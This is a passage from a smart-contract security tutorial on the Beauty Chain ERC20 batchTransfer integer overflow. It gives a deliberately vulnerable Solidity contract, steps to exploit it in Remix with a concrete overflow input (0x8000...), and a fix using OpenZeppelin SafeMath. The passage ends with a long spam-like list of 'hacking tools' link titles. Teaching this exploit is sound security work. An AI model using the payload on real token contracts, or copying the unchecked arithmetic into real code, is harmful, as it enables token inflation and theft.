As you will see an amount of 0 results which will pass the checks allowing an attack to work. Resulting in a very large value sent as the _value variable to the user. Causing hyperinflation of the token.

 

Exploiting Our Own ERC20 Batch Overflow

This is pretty cool, but let's actually exploit this attack ourselves. I have taken the liberty of updating the function from Beauty Chain to meet the current compiler standards with a few small tweaks and some functions so you can check your balance during the stages of the attack. Deploy this contract and try to exploit it before reading the walkthrough!!

For this one you can type it out for practice or grab it from the github folder since this is a case study and not the normal learning material per say. I will allow laziness this one time.

https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/integerAttacks

 

pragma solidity 0.6.6;

 

contract BEC_Vuln {

    mapping (address=>uint) balances; 

 

    function batchTransfer(address[] memory _receivers, uint256 _value) public payable returns (bool) {

        uint cnt = _receivers.length;

        uint256 amount = uint256(cnt) * _value;

        require(cnt > 0 && cnt <= 20);

        require(_value > 0 && balances[msg.sender] >= amount);

   

        balances[msg.sender] = balances[msg.sender] - amount;

        for (uint i = 0; i < cnt; i++) {

            balances[_receivers[i]] = balances[_receivers[i]] + _value;

            //transfer(msg.sender, _receivers[i], _value);

        }

        return true;

     }

    

        function deposit() public payable{

            balances[msg.sender] = msg.value;

    }

 

        function getBalance() public view returns (uint){

            return balances[msg.sender];

    }

}

 

I slightly modified the vulnerable function from beautychain to work with the newer versions of solidity by adding in a few keywords and new syntax but this is basically the same code. Solidity requirements have changed a lot since version 4 when this was originally deployed. So I updated it to make it so you could actually deploy it without any issues in a newer version and learn the differences between versions.

Action steps:

ü  Using account 1 deploy the BEC_Vuln Contract and deposit some wei, maybe 2000.

ü  Check the value of account 1, account 2 and account 3.

ü  Send the attack from account 1 and perform a batch transfer by sending in an array of 2 addresses followed by the attack value in hex. See the below example for reference.

ü  Now check the values of the 3 accounts, what are they? What happened?

                    

Attack Input example for remix:

["0x4faa06F5759F5514f4BC76847558c3588E5f1caa","0xCAF83B10404A5c4D2207f9ACFF194733fAa460Ed"],0x8000000000000000000000000000000000000000000000000000000000000000

 

Exploiting The Beauty Chain Vulnerability: 



 

Fixing the ERC20 Overflow

Now let's take a quick look at fixing issues related to integer overflows and underflows. As always in application security, we should not try to roll our own security libraries. We should instead use opensource well vetted security libraries for coding projects. Ethereum is no exception to this rule and has its own opensource libraries from OpenZeppelin which handle anything from safe mathematical calculations to role based authentication. Below is a direct link to the safe math library you will now import into your BEC_Vuln.sol file and then fix the current overflow issues.

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol

 

We will do this by using the following line under ae pragma solidity definition

pragma solidity 0.6.6;

import "PASTE OPENZEPPELIN LINK HERE";

 

With this import statement we will now have access to the math functions within safe math for example:

ü  Add

ü  Subtract

ü  Multiply

ü  Divide

These functions can be accessed with dot notation. For example in the following:

SafeMath.mul(value1, value2)

 

Action Step

ü  Locate all of the mathematical functions in the example

ü  Re-code all of them to match the above format

ü  Try your attack again, results? 

ü  How many did you find and update?

ü  What happened when you ran the attack again?

 

Safe Math Walk Through

We need to update all of the mathematical functions within our contract and then try our attack again. First try to locate all of these and update them according to the type of mathematical calculation.

You should have found 3 locations which need updating to comply with safe math standards These are shown below with the correct syntax needed to fix them with OpenZeppelin.  Apply these changes to your code if you have not already.

uint256 amount = SafeMath.mul(uint256(cnt), _value);

balances[msg.sender] = SafeMath.sub(balances[msg.sender],  amount);

balances[_receivers[i]] = SafeMath.add(balances[_receivers[i]],  _value);

 

If you apply the above fixes within your code then the returned values of the mathematical operations are double checked to make sure they make sense. For example, check out the OpenZeppelin code for multiplication:  

1.    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
2.           if (a == 0) {return 0;}
3.   
4.           uint256 c = a * b;
5.           require(c / a == b, "SafeMath: multiplication overflow");
6.           return c;
7.    }

 

Note that 2 parameters are taken into the function on line 1 which are our two values we are multiplying together. In our case our number of addresses in the array and the _value to send. These values are multiplied on line 4 and stored in the value c.

Then on line 5 the reverse operation Is performed on the result, dividing the returned value c by a and requiring that it is equal to the value of b.  If this was an overflowed and wrapped around back to 0 then this check would obviously fail as the number would be incorrect.

If this check fails an error condition is shown like the following:

 


If this check passes then the transaction finishes as normal and the transaction completes as intended.  Make sure that you re-code this and then run the attack again yourself. Review the output from the transactions for both. Also review the Add and the Subtract functions, which you also re-coded and make sure you understand how they are working as well. 

You can find the open zeppelin code at the link where you imported if from, or within remix where it was imported to a github folder path.  Review the code and use the functions in your applications to protect against math issues. If you are a penetration tester make sure that the contracts you are reviewing are using safe math functions whenever math is used.

 

Using OpenZeppelin Safe Math Libraries To Prevent Integer Attacks: 

 


 

Integer Attacks Summary

We went through what might have been an overwhelming number of concepts in this chapter regarding over/underflow scenarios. Make sure that you type out each of the examples and execute the code to understand what the issue is and how to spot it. Then re-code the examples to fix the issues.

 

Integer Attacks References

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.solRelated links
  1. Ethical Hacker Tools
  2. Pentest Tools Apk
  3. Hacking Tools For Pc
  4. Pentest Tools Open Source
  5. Tools 4 Hack
  6. Hacker Tools Mac
  7. Ethical Hacker Tools
  8. Pentest Tools For Windows
  9. Hacking Tools 2020
  10. Hack Tools
  11. Hacker Tools For Windows
  12. Hacking Tools Hardware
  13. Hack Tools For Games
  14. Hacking Tools Online
  15. Pentest Recon Tools
  16. Hack App
  17. Hack Website Online Tool
  18. Hack Tools Pc
  19. Hacker Tools Apk
  20. How To Make Hacking Tools
  21. Kik Hack Tools
  22. Pentest Tools List
  23. Best Hacking Tools 2020
  24. How To Install Pentest Tools In Ubuntu
  25. Hack Tools For Pc
  26. Hacker Techniques Tools And Incident Handling
  27. Hacking Tools Windows
  28. Hacker Tools Apk Download
  29. Hack Tools For Windows
  30. Ethical Hacker Tools
  31. Hacking Tools 2019
  32. Tools For Hacker
  33. Hack Tools Github
  34. Hacker Tools Apk
  35. Pentest Tools Tcp Port Scanner
  36. Pentest Tools Linux
  37. Pentest Tools For Android
  38. Hacking Tools Usb
  39. Pentest Tools Free
  40. Blackhat Hacker Tools
  41. Hack Tools Github
  42. Easy Hack Tools
  43. Pentest Tools Linux
  44. Pentest Tools For Mac
  45. Hacking App
  46. Kik Hack Tools
  47. Hacking Tools Mac
  48. Hacker Security Tools
  49. Usb Pentest Tools
  50. Hack Tools 2019
  51. Easy Hack Tools
  52. Hacking Tools For Windows
  53. Hack Tools For Mac
  54. Pentest Tools For Windows
  55. Hacker Tools Online